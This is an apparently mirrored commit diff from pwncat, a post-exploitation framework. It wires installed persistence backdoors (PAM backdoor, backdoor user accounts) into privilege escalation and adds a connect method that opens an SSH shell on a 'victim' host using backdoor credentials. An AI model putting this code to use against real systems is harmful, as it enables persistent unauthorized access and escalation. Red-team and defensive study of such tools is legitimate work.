mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-23 17:15:38 +01:00
Final touches on converted modules
- Got the pam persistence module working - Added persistence escalation module to utilize installed persistence - Added escalation module priorities (EscalateModule.PRIORITY) - Should be > 0. - Default is 100. - Persistence escalation has priority of -1 to ensure it runs first. - Added enumeration module for passwords retrieved from pam persistence. - Removed version specifier for python-rich (it was very old for some reason).
This commit is contained in:
parent
f0fbb9851f
commit
5d7c334644
@ -116,7 +116,6 @@ def main():
|
||||
pwncat.victim.session.commit()
|
||||
except InvalidRequestError:
|
||||
pass
|
||||
console.log("local terminal restored")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
@ -1,4 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
import enum
|
||||
import inspect
|
||||
import pkgutil
|
||||
import re
|
||||
@ -39,6 +40,30 @@ class ModuleFailed(Exception):
|
||||
""" Base class for module failure """
|
||||
|
||||
|
||||
class PersistError(ModuleFailed):
|
||||
""" There was a problem performing a persistence action """
|
||||
|
||||
|
||||
class PersistType(enum.Flag):
|
||||
"""
|
||||
The type of persistence we are installing. Local persistence only
|
||||
provides a method of persistence escalation from another user.
|
||||
Remote persistence allows us to re-establish C2 after disconnecting.
|
||||
|
||||
Local persistence must implement the `escalate` method while remote
|
||||
persistence must implement the `connect` method.
|
||||
|
||||
Persistence modules can be both Local and Remote (e.g. private key
|
||||
persistence when a local `ssh` client is available). You can simply
|
||||
bitwise OR these flags together to specify both.
|
||||
|
||||
"""
|
||||
|
||||
LOCAL = enum.auto()
|
||||
REMOTE = enum.auto()
|
||||
ALL_USERS = enum.auto()
|
||||
|
||||
|
||||
@dataclass
|
||||
class Argument:
|
||||
""" Argument information for a module """
|
||||
|
@ -26,6 +26,7 @@ class Module(EnumerateModule):
|
||||
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
|
||||
):
|
||||
pam = module
|
||||
break
|
||||
|
||||
if pam is None:
|
||||
# The pam persistence module isn't installed.
|
||||
|
@ -7,6 +7,7 @@ import time
|
||||
import os
|
||||
|
||||
# import rich.prompt
|
||||
from rich.prompt import Confirm
|
||||
|
||||
import pwncat
|
||||
from pwncat.modules import (
|
||||
@ -353,7 +354,6 @@ class EscalateChain(Result):
|
||||
pwncat.victim.update_user()
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class EscalateResult(Result):
|
||||
""" The result of running an escalate module. This object contains
|
||||
all the enumerated techniques and provides an abstract way to employ
|
||||
@ -363,6 +363,14 @@ class EscalateResult(Result):
|
||||
techniques: Dict[str, List[Technique]]
|
||||
""" List of techniques available keyed by the user """
|
||||
|
||||
def __init__(self, techniques):
|
||||
|
||||
self.techniques: Dict[str, List[Technique]] = {}
|
||||
for key, value in techniques:
|
||||
self.techniques[key] = sorted(
|
||||
techniques[key], key=lambda v: v.module.PRIORITY
|
||||
)
|
||||
|
||||
@property
|
||||
def category(self):
|
||||
return None
|
||||
@ -388,9 +396,10 @@ class EscalateResult(Result):
|
||||
|
||||
for key, value in result.techniques.items():
|
||||
if key not in self.techniques:
|
||||
self.techniques[key] = value
|
||||
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
|
||||
else:
|
||||
self.techniques[key].extend(value)
|
||||
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
|
||||
|
||||
def add(self, technique: Technique):
|
||||
""" Add a new technique to this result object """
|
||||
@ -671,7 +680,7 @@ class EscalateResult(Result):
|
||||
# This is important. Ask the user if they want to
|
||||
# clobber the authorized keys
|
||||
progress.stop()
|
||||
if rich.prompt.Confirm(
|
||||
if Confirm(
|
||||
"could not read authorized keys; attempt to clobber user keys?"
|
||||
):
|
||||
authkeys = []
|
||||
@ -805,6 +814,11 @@ class EscalateModule(BaseModule):
|
||||
# while still returning a single value
|
||||
COLLAPSE_RESULT = True
|
||||
|
||||
PRIORITY = 100
|
||||
""" The priority of this escalation module. Values < 0 are reserved.
|
||||
Indicates the order in which techniques are executed when attempting
|
||||
escalation. """
|
||||
|
||||
def run(self, user, exec, read, write, shell, path, data, **kwargs):
|
||||
""" This method is not overriden by subclasses. Subclasses should
|
||||
override the `enumerate`, `write`, `read`, and `exec` methods.
|
||||
|
52
pwncat/modules/escalate/persist.py
Normal file
52
pwncat/modules/escalate/persist.py
Normal file
@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import pwncat
|
||||
from pwncat.modules import Status
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.modules.persist import PersistError, PersistType
|
||||
from pwncat.modules.persist.gather import InstalledModule
|
||||
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique
|
||||
|
||||
|
||||
class PersistenceTechnique(Technique):
|
||||
""" Escalates privileges utilizing an installed persistence
|
||||
technique. """
|
||||
|
||||
def __init__(self, module: EscalateModule, user: str, persist: InstalledModule):
|
||||
super(PersistenceTechnique, self).__init__(Capability.SHELL, user, module)
|
||||
|
||||
self.persist = persist
|
||||
|
||||
def exec(self, binary: str):
|
||||
""" Run the given shell as another user """
|
||||
|
||||
try:
|
||||
# Attempt to escalate
|
||||
self.persist.escalate(user=self.user, progress=self.module.progress)
|
||||
except PersistError as exc:
|
||||
raise EscalateError(str(exc))
|
||||
|
||||
|
||||
class Module(EscalateModule):
|
||||
""" This module will enumerate all installed persistence methods which
|
||||
offer local escalation. """
|
||||
|
||||
PLATFORM = Platform.ANY
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
for persist in pwncat.modules.run("persist.gather", progress=self.progress):
|
||||
if PersistType.LOCAL not in persist.module.TYPE:
|
||||
continue
|
||||
if persist.persist.user is None:
|
||||
users = pwncat.victim.users.keys()
|
||||
else:
|
||||
users = persist.persist.user
|
||||
for user in users:
|
||||
yield PersistenceTechnique(self, user, persist)
|
||||
|
||||
return
|
||||
|
||||
def human_name(self, tech: PersistenceTechnique):
|
||||
return str(tech.persist)
|
@ -5,31 +5,15 @@ import inspect
|
||||
import pwncat
|
||||
import pwncat.db
|
||||
from pwncat.util import State
|
||||
from pwncat.modules import BaseModule, Argument, Bool, Status, ModuleFailed
|
||||
|
||||
|
||||
class PersistError(ModuleFailed):
|
||||
""" There was a problem performing a persistence action """
|
||||
|
||||
|
||||
class PersistType(enum.Flag):
|
||||
"""
|
||||
The type of persistence we are installing. Local persistence only
|
||||
provides a method of persistence escalation from another user.
|
||||
Remote persistence allows us to re-establish C2 after disconnecting.
|
||||
|
||||
Local persistence must implement the `escalate` method while remote
|
||||
persistence must implement the `connect` method.
|
||||
|
||||
Persistence modules can be both Local and Remote (e.g. private key
|
||||
persistence when a local `ssh` client is available). You can simply
|
||||
bitwise OR these flags together to specify both.
|
||||
|
||||
"""
|
||||
|
||||
LOCAL = enum.auto()
|
||||
REMOTE = enum.auto()
|
||||
ALL_USERS = enum.auto()
|
||||
from pwncat.modules import (
|
||||
BaseModule,
|
||||
Argument,
|
||||
Bool,
|
||||
Status,
|
||||
ModuleFailed,
|
||||
PersistError,
|
||||
PersistType,
|
||||
)
|
||||
|
||||
|
||||
class PersistModule(BaseModule):
|
||||
@ -74,6 +58,8 @@ class PersistModule(BaseModule):
|
||||
),
|
||||
}
|
||||
COLLAPSE_RESULT = True
|
||||
# We should always try persistence before other methods.
|
||||
PRIORITY = -1
|
||||
|
||||
def __init__(self):
|
||||
super(PersistModule, self).__init__()
|
||||
|
@ -10,8 +10,8 @@ import pwncat
|
||||
import pwncat.tamper
|
||||
from pwncat.util import Access
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules import Argument
|
||||
from pwncat.modules.persist import PersistModule, PersistType, PersistError
|
||||
from pwncat.modules import Argument, PersistType, PersistError
|
||||
from pwncat.modules.persist import PersistModule
|
||||
|
||||
|
||||
class Module(PersistModule):
|
||||
|
@ -31,9 +31,14 @@ class InstalledModule(Result):
|
||||
""" Remove this module """
|
||||
self.module.run(remove=True, progress=progress, **self.persist.args)
|
||||
|
||||
def escalate(self, progress=None):
|
||||
def escalate(self, user=None, progress=None):
|
||||
""" Escalate utilizing this persistence module """
|
||||
self.module.run(escalate=True, progress=progress, **self.persist.args)
|
||||
|
||||
args = self.persist.args.copy()
|
||||
if user is not None:
|
||||
args["user"] = user
|
||||
|
||||
self.module.run(escalate=True, progress=progress, **args)
|
||||
|
||||
def connect(self, user=None, progress=None):
|
||||
|
||||
@ -98,6 +103,12 @@ class Module(BaseModule):
|
||||
query = query.filter_by(method=module)
|
||||
|
||||
# Grab all the rows
|
||||
# We also filter here for any other key-value arguments passed
|
||||
# to the `run` call. We ensure the relevant key exists, and
|
||||
# that it is equal to the specified value, unless the key is None.
|
||||
# If a key is None in the database, we assume it can take on any
|
||||
# value and utilize it as is. This is mainly for the `user` argument
|
||||
# as some persistence methods apply to all users.
|
||||
modules = [
|
||||
InstalledModule(
|
||||
persist=row,
|
||||
@ -106,7 +117,8 @@ class Module(BaseModule):
|
||||
for row in query.all()
|
||||
if all(
|
||||
[
|
||||
key in row.args and row.args[key] == value
|
||||
key in row.args
|
||||
and (row.args[key] == value or row.args[key] is None)
|
||||
for key, value in kwargs.items()
|
||||
]
|
||||
)
|
||||
@ -122,10 +134,15 @@ class Module(BaseModule):
|
||||
for module in modules:
|
||||
yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
|
||||
try:
|
||||
# User is a special case. It can be passed on because some modules
|
||||
# apply to all users, which means their `args` will contain `None`.
|
||||
if "user" in kwargs:
|
||||
module.escalate(user=kwargs["user"], progress=self.progress)
|
||||
else:
|
||||
module.escalate(progress=self.progress)
|
||||
# Escalation succeeded!
|
||||
return
|
||||
except pwncat.modules.persist.PersistError:
|
||||
except pwncat.modules.PersistError:
|
||||
# Escalation failed
|
||||
pass
|
||||
|
||||
|
@ -12,8 +12,8 @@ import paramiko
|
||||
import pwncat
|
||||
from pwncat.util import CompilationError, Access
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules import Argument, Status
|
||||
from pwncat.modules.persist import PersistModule, PersistError, PersistType
|
||||
from pwncat.modules import Argument, Status, PersistError, PersistType
|
||||
from pwncat.modules.persist import PersistModule
|
||||
|
||||
|
||||
class Module(PersistModule):
|
||||
@ -223,7 +223,7 @@ class Module(PersistModule):
|
||||
""" Escalate to the given user with this module """
|
||||
|
||||
try:
|
||||
pwncat.victim.su(user, password, check=True)
|
||||
pwncat.victim.su(user, password)
|
||||
except PermissionError:
|
||||
raise PersistError("Escalation failed. Is selinux enabled?")
|
||||
|
||||
|
@ -1,9 +1,12 @@
|
||||
#!/usr/bin/env python3
|
||||
import socket
|
||||
import crypt
|
||||
|
||||
import paramiko
|
||||
|
||||
import pwncat
|
||||
from pwncat.modules import Argument
|
||||
from pwncat.modules.persist import PersistType, PersistModule, PersistError
|
||||
from pwncat.modules import Argument, Status, PersistType, PersistError
|
||||
from pwncat.modules.persist import PersistModule
|
||||
|
||||
|
||||
class Module(PersistModule):
|
||||
@ -96,6 +99,42 @@ class Module(PersistModule):
|
||||
# Reload the user database
|
||||
pwncat.victim.reload_users()
|
||||
|
||||
def connect(self, user, backdoor_user, backdoor_pass, shell):
|
||||
|
||||
try:
|
||||
yield Status("connecting to host")
|
||||
# Connect to the remote host's ssh server
|
||||
sock = socket.create_connection((pwncat.victim.host.ip, 22))
|
||||
except Exception as exc:
|
||||
raise PersistError(str(exc))
|
||||
|
||||
# Create a paramiko SSH transport layer around the socket
|
||||
yield Status("wrapping socket in ssh transport")
|
||||
t = paramiko.Transport(sock)
|
||||
try:
|
||||
t.start_client()
|
||||
except paramiko.SSHException:
|
||||
raise PersistError("ssh negotiation failed")
|
||||
|
||||
# Attempt authentication
|
||||
try:
|
||||
yield Status("authenticating with victim")
|
||||
t.auth_password(backdoor_user, backdoor_pass)
|
||||
except paramiko.ssh_exception.AuthenticationException:
|
||||
raise PersistError("incorrect password")
|
||||
|
||||
if not t.is_authenticated():
|
||||
t.close()
|
||||
sock.close()
|
||||
raise PersistError("incorrect password")
|
||||
|
||||
# Open an interactive session
|
||||
chan = t.open_session()
|
||||
chan.get_pty()
|
||||
chan.invoke_shell()
|
||||
|
||||
yield chan
|
||||
|
||||
def escalate(self, user, backdoor_user, backdoor_pass, shell):
|
||||
""" Utilize this module to escalate """
|
||||
|
||||
|
@ -26,7 +26,7 @@ pytablewriter==0.54.0
|
||||
python-dateutil==2.8.1
|
||||
pytz==2020.1
|
||||
requests==2.24.0
|
||||
rich==3.3.2
|
||||
rich
|
||||
six==1.15.0
|
||||
SQLAlchemy==1.3.18
|
||||
tabledata==1.1.2
|
||||
|
Loading…
Reference in New Issue
Block a user